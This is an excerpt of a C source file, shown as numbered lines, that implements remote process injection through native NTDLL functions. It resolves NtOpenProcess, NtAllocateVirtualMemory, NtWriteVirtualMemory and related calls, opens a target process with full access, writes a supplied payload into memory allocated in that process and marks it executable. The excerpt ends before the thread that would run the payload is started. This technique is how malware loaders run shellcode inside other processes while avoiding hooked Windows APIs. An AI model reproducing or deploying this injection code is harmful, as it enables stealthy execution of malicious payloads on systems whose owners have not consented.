| 37 | } |
| 38 | |
| 39 | BOOL NTAPIInjection( |
| 40 | _In_ CONST DWORD PID, |
| 41 | _In_ CONST PBYTE Payload, |
| 42 | _In_ CONST SIZE_T PayloadSize |
| 43 | ) { |
| 44 | |
| 45 | BOOL State = TRUE; |
| 46 | PVOID Buffer = NULL; |
| 47 | HANDLE ThreadHandle = NULL; |
| 48 | HANDLE ProcessHandle = NULL; |
| 49 | HMODULE NtdllHandle = NULL; |
| 50 | DWORD OldProtection = 0; |
| 51 | SIZE_T BytesWritten = 0; |
| 52 | NTSTATUS Status = 0; |
| 53 | CLIENT_ID CID = { (HANDLE)PID, NULL }; |
| 54 | OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL }; |
| 55 | |
| 56 | NtdllHandle = GetModuleHandleW(L"NTDLL"); |
| 57 | if (NULL == NtdllHandle) { |
| 58 | WARN("[GetModuleHandleW] failed, error: 0x%lx", GetLastError()); |
| 59 | return FALSE; |
| 60 | } |
| 61 | OKAY("[0x%p] got the address of NTDLL!", NtdllHandle); |
| 62 | |
| 63 | fn_NtOpenProcess p_NtOpenProcess = (fn_NtOpenProcess)GetNtFunctionAddress("NtOpenProcess", NtdllHandle); |
| 64 | fn_NtAllocateVirtualMemory p_NtAllocateVirtualMemory = (fn_NtAllocateVirtualMemory)GetNtFunctionAddress("NtAllocateVirtualMemory", NtdllHandle); |
| 65 | fn_NtWriteVirtualMemory p_NtWriteVirtualMemory = (fn_NtWriteVirtualMemory)GetNtFunctionAddress("NtWriteVirtualMemory", NtdllHandle); |
| 66 | fn_NtProtectVirtualMemory p_NtProtectVirtualMemory = (fn_NtProtectVirtualMemory)GetNtFunctionAddress("NtProtectVirtualMemory", NtdllHandle); |
| 67 | fn_NtCreateThreadEx p_NtCreateThreadEx = (fn_NtCreateThreadEx)GetNtFunctionAddress("NtCreateThreadEx", NtdllHandle); |
| 68 | fn_NtWaitForSingleObject p_NtWaitForSingleObject = (fn_NtWaitForSingleObject)GetNtFunctionAddress("NtWaitForSingleObject", NtdllHandle); |
| 69 | fn_NtFreeVirtualMemory p_NtFreeVirtualMemory = (fn_NtFreeVirtualMemory)GetNtFunctionAddress("NtFreeVirtualMemory", NtdllHandle); |
| 70 | fn_NtClose p_NtClose = (fn_NtClose)GetNtFunctionAddress("NtClose", NtdllHandle); |
| 71 | |
| 72 | Status = p_NtOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &OA, &CID); |
| 73 | if (STATUS_SUCCESS != Status) { |
| 74 | PRINT_ERROR("NtOpenProcess", Status); |
| 75 | return FALSE; /* no point in continuing if we can't even get a handle on the process */ |
| 76 | } |
| 77 | OKAY("[0x%p] got a handle on the process (%ld)!", ProcessHandle, PID); |
| 78 | |
| 79 | Status = p_NtAllocateVirtualMemory(ProcessHandle, &Buffer, 0, &PayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 80 | if (STATUS_SUCCESS != Status) { |
| 81 | PRINT_ERROR("NtAllocateVirtualMemory", Status); |
| 82 | State = FALSE; goto CLEANUP; |
| 83 | } |
| 84 | OKAY("[0x%p] [RW-] allocated a %zu-byte buffer with PAGE_READWRITE [RW-] permissions!", Buffer, PayloadSize); |
| 85 | |
| 86 | Status = p_NtWriteVirtualMemory(ProcessHandle, Buffer, Payload, PayloadSize, &BytesWritten); |
| 87 | if (STATUS_SUCCESS != Status) { |
| 88 | PRINT_ERROR("NtWriteVirtualMemory", Status); |
| 89 | State = FALSE; goto CLEANUP; |
| 90 | } |
| 91 | OKAY("[0x%p] [RW-] wrote %zu-bytes to the allocated buffer!", Buffer, BytesWritten); |
| 92 | |
| 93 | Status = p_NtProtectVirtualMemory(ProcessHandle, &Buffer, &PayloadSize, PAGE_EXECUTE_READ, &OldProtection); |
| 94 | if (STATUS_SUCCESS != Status) { |
| 95 | PRINT_ERROR("NtProtectVirtualMemory", Status); |
| 96 | State = FALSE; goto CLEANUP; |
no test coverage detected